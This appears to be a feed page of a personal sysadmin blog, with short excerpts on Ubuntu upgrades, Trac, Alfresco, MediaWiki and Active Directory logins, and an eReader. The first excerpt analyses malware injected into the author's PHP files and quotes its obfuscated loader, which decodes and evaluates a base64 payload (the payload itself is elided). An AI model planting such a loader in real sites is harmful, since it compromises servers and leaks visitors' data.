Ubuntu on

Battle against injected PHP

Sun, 13 Nov 2016 14:18:51 +0000

My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:

//###=CACHE START=### @error_reporting(E_ALL); @ini_set(“error_log”,NULL); …etc

$strings = “as”; $strings .= “se”; $strings .= “rt”; $strings2 = “st”; $strings2 .= “r_r”; $strings2 .= “ot13”; $gbz = “riny(”.$strings2(“base64_decode”); $light = $strings2($gbz.’(“nJLtX….”));’); $strings($light); //###=CACHE END=###

This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here’s an example apache log message generated by someone browsing an infected site:

Ubuntu 14.04 on Utilite Pro

Fri, 10 Oct 2014 11:06:06 +0000

To the chase… It took me a long time to find this, but someone’s made a guide for building Ubuntu 14.04 from scratch for the Utilite. But better still, they’ve included a dropbox location to fetch images from.

Here’s the URL to the build guide.

Here’s the URL to the download directory.

For installation, I’m�ripping-off the Arch installation instructions here.

The key step of the installation process I kept pulling up that guide to confirm I’m recalling correctly is: bsdtar -xpf ArchLinuxARM-utilite-latest.tar.gz -C root

Dear Diary: Running Trac and upgrading to Ubuntu Server 14.04

Wed, 17 Sep 2014 17:17:20 +0000

I’m a fairly heavy user of trac. I’ve got various software projects I organize using trac. I decided to upgrade one of my Ubuntu 12.04 servers to Ubuntu 14.04 and of course ran in to the typical apache2 headaches that are born out of this particular transition.

After remembering to rename my virtual host files with .conf extensions (I find that change annoying as hell on its own), I kept running aground with an Internal Server Error message to which I couldn’t even find a hint in my logs, even after cranking up the verbosity.

My Diary: Upgrading Alfresco Installations

Fri, 11 Apr 2014 21:12:05 +0000

Here’s my diary from the “epic” experience of simply trying to upgrade Alfresco installations from 4.2.c to 4.2.f. I found the community documentation to be dated and had minimal confidence in its current validity. Still, it helped. These are my final notes on the process and in actuality there were a lot of wrong turns I made along the way before landing with the below. I spent like 5 hours working this out. Crazy.

My Diary: on running PHP 5.5+ & Apache 2.4 on Ubuntu 12.04

Sat, 22 Feb 2014 12:09:51 +0000

I’ve been working on migrating a Moodle 2.4+ installation from a rickety old Ubuntu 10.04 server on Amazon EC2 to a fresh machine as I can’t seem to update the original server to 12.04, which has newer PHP packages I require to run Moodle 2.6+, which I want specifically due to a user stats plugin I want installed.. So with one thing leading to another, I ran aground recently when I upgraded Ubuntu’s 12.04 Apache2 version to Apache 2.4 (from some PPA). This resulted in my site no longer working, it pretty much just said access denied. This was due to some new Apache security setting that my migrated Virtual Host config lacked.

Software > MediaDrop Automatic Transcoding Script

Fri, 03 Jan 2014 00:54:49 +0000

I’ve been working on a somewhat private personal website intended for sharing of family videos. I’ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application “MediaDrop”. I love this web application. It’s epic. I was just looking for a podcast feed generator and I found a lot more in MediaDrop.

Trac Authenticating Through Active Directory

Mon, 26 Sep 2011 10:06:18 +0000

A minor post - mostly for my own notes..

I was setting up an instance of Trac and I wanted Active Directory authentication going. I’ve had this before, but I recently learned of Centrify which provides a VERY easy means to setup system authentication with AD. This meant I needed to find a Centrify-specific way to get AD authentication going in Trac.

I was close to an obvious simple solution for a fair while, but I kept running in to error messages like:

Quick Recipe for MediaWiki with AD logins

Wed, 02 Feb 2011 13:24:40 +0000

Here’s a quick recipe for getting a server up with MediaWiki running and having Active Directory Logins working with it… I’ll warn you, there are other ways of doing this. I find this to satisfy my needs, but if you manage to cause the world to implode, I won’t be held responsible.

Step 1: Set up your server

I created an Ubuntu 10.10 server VM for this, use whatever if you have some sort of issue against doing the same as me.

Kobo - Unboxed & Linux Friendly

Mon, 21 Jun 2010 23:41:46 +0000

I’ve recently acquired myself a Kobo eReader. Read on to learn of my initial experiences, thoughts and reactions..

For those who remain unaware of what an ereader is…

They are little device designed to replace physical books. The key to success of the major ereaders (of which the ipad is NOT included) is the use of a completely distinct display technology called E-Ink. The important detail about that is that things displayed on E-Ink look just as though they were printed on paper. Compare this to viewing a typical LCD screen (like that of your phone) in the bright sun. The LCD has to overcome the ambient light, which is really tough in the day. The sharp contrast in brightness is similarly tiring for eyes in good lighting. E-Ink is free of that burden.

Dawning.ca Spruced Up

Fri, 15 Jan 2010 03:12:36 +0000

Previous Dawning.ca Layout

I’ve just spent a few hours re-designing the layout of Dawning.ca. The old one served me very well and I really liked it. I had heavily modified the previous theme to work for me and work it did. I may tap it some time in the future as a backup… As you can see to the right, the new style is fairly different compared to the image. Although I kept the workflow as I think it was already pretty good.

YouTube Grabber App

Tue, 24 Nov 2009 12:06:27 +0000

I’ve whipped up this little YouTube video grabber for myself and I’ve opened it up for the moment. If I see it getting spammed or abused in some way, I’ll probably password protect it, nevertheless, you can check it out here.

What it does

This little app takes a YouTube video link and then adds the reference in a database. A seperate script then polls that database and looks for new URLs. It then uses another script (that I did not write), called yt-download, to fetch each video and dump it to my fileserver.

Upgrade Experience with Ubuntu 9.04

Fri, 24 Apr 2009 09:24:25 +0000

Ubuntu Logo

Hello World!

While, yesterday was Ubuntu 9.04 day! With the latest official release of Ubuntu Linux, I decided to put one foot in the water and give upgrading my mac pro from 8.10 a whirl. The process went fairly perfectly with one major flaw. Upon rebooting my upgraded system, my video driver for xorg was no longer functioning properly. The solution was to remotely login through ssh, download & install the latest driver (from here) and then reboot again. After that I was greeted with the beautiful new Ubuntu 9.04 login screen and the upgrade was nearly..

Ubuntu Samba Apache Active Directory Authentication

Wed, 16 Jul 2008 07:16:25 +0000

So I’ve spent some time for something at work figuring out how to get an Ubuntu server to authenticate users with a Windows 2003 Server Active Directory. Using the process I’ve found by combining various sources, my instructions show how to get a machine setup such that users logging in to the shell, accessing a samba share and checking out a website (or sub-directory of one) can all be authenticated using credentials centrally stored in a separate Active Directory server.